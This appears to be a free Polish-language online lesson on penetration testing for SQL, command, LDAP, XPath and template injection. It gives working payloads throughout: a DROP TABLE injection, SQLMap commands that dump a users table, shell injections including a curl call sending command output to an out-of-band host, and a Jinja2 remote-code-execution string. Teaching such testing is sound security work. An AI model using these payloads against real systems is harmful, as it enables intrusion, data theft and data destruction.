Testowanie podatności typu injection
Wykorzystają Państwo SQLMap, ręczne payloady i Burp do testowania wstrzyknięć SQL, poleceń i LDAP.
Testowanie podatności typu injection to bezpłatna lekcja Cyber Security Academy na CoddyKit. To lekcja 2 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Cyber Security Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.
Klasy podatności typu injection
Do injection dochodzi, gdy niezaufane dane są przekazywane do interpretera jako część polecenia lub zapytania. Interpreter nie potrafi odróżnić danych od poleceń i wykonuje logikę kontrolowaną przez atakującego. Do tej klasy należą między innymi SQL injection, command injection, LDAP injection, XPath injection oraz template injection.
SQL Injection: testowanie ręczne
Testowanie SQL injection należy rozpocząć od prostych payloadów. Pojedynczy cudzysłów powoduje błąd składni SQL w podatnych aplikacjach. Należy sprawdzać komunikaty o błędach, różnice długości odpowiedzi oraz czas odpowiedzi.
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap do automatycznego SQLi
SQLMap automatyzuje wykrywanie i wykorzystywanie SQL injection: wykrywa punkty wstrzyknięcia, identyfikuje system DBMS, a także może zrzucać bazy danych, odczytywać pliki i uzyskać możliwość wykonywania kodu systemu operacyjnego na podatnych systemach.
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpTestowanie command injection
Command injection występuje, gdy dane wprowadzone przez użytkownika są przekazywane do funkcji powłoki systemu operacyjnego. Należy testować metaznaki powłoki: średniki, potoki, odwrotne cudzysłowy oraz podstawianie poleceń $().
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)LDAP Injection
LDAP injection manipuluje zapytaniami LDAP używanymi do uwierzytelniania i wyszukiwania w katalogu. Należy przetestować pola uwierzytelniania za pomocą: *)(uid=*))(|(uid=*, aby ominąć filtry.
XPath Injection
XPath injection dotyczy systemów uwierzytelniania opartych na XML. Podobnie jak w przypadku SQLi, payloady modyfikują zapytania XPath; ' or '1'='1 umożliwia ominięcie uwierzytelniania.
Template Injection (SSTI)
Server-Side Template Injection występuje, gdy dane wprowadzone przez użytkownika są renderowane przez silnik szablonów (Jinja2, Twig, Freemarker). Aby je wykryć, należy wstrzyknąć {{7*7}} — jeśli odpowiedź zawiera 49, występuje SSTI.
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Używanie Burp do testowania injection
Żądania należy wysyłać do Repeater i ręcznie wstrzykiwać payloady do każdego parametru. Do automatyzacji fuzzingu można użyć Intruder wraz z wordlistami payloadów do injection (SecLists zawiera doskonałe payloady tego typu).
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*Wykrywanie ślepych injection
Gdy nie ma widocznych danych wyjściowych, należy użyć opóźnień czasowych w celu potwierdzenia wykonania, zwrotnych połączeń DNS out-of-band (Burp Collaborator lub interactsh) oraz odpowiedzi opartych na wartościach logicznych (zmian długości treści).
Analizowanie komunikatów o błędach aplikacji
Szczegółowe komunikaty o błędach ujawniają typ bazy danych, strukturę zapytań i ścieżki plików — są nieocenione podczas tworzenia precyzyjnych payloadów. Oprócz zwykłych payloadów należy zawsze testować dane wejściowe ujawniające tryb debugowania lub błędy.
Informacje o zapobieganiu
Injection można zapobiegać za pomocą zapytań sparametryzowanych (SQLi), walidacji danych wejściowych i escapowania poleceń powłoki (command injection), a także przez unikanie renderowania danych użytkownika w szablonach (SSTI). Deweloperzy muszą rozumieć te zasady, aby pisać bezpieczny kod.
Szybki sprawdzian
Co potwierdza payload wykrywający SSTI {{7*7}}, jeśli odpowiedź zawiera 49?
Podsumowanie: testowanie injection
Podatności typu injection wynikają z mieszania danych i poleceń. Należy testować każde dane wejściowe kontrolowane przez użytkownika za pomocą payloadów SQL injection, command injection, template injection i LDAP injection. SQLMap służy do automatycznego testowania SQL injection, Burp Repeater do testów ręcznych, a techniki z opóźnieniami czasowymi i OOB do ślepego wykorzystywania podatności. Payloady i dowody należy zawsze dokumentować w raporcie.
Często zadawane pytania
Czy lekcja „Testowanie podatności typu injection” jest bezpłatna?
Tak — pełny tekst „Testowanie podatności typu injection” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Cyber Security Academy, przejdź na CoddyKit PRO. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.
Co nauczysz się w „Testowanie podatności typu injection”?
Wykorzystają Państwo SQLMap, ręczne payloady i Burp do testowania wstrzyknięć SQL, poleceń i LDAP. Ćwiczysz Cyber Security Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.
Czy potrzebuję doświadczenia, aby zacząć Cyber Security Academy?
Nie wymagamy żadnego doświadczenia. Cyber Security Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 2 z 4.
Ile czasu zajmuje lekcja „Testowanie podatności typu injection”?
Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.
Czy mogę pisać i uruchamiać kod w tej lekcji Cyber Security Academy?
Tak. Każda lekcja Cyber Security Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.
Wszystkie lekcje w tym kursie
- Proxy Burp Suite i przechwytywanie żądań
- Testowanie podatności typu injection
- Testowanie uwierzytelniania i sesji
- Podatności związane z przesyłaniem plików i SSRF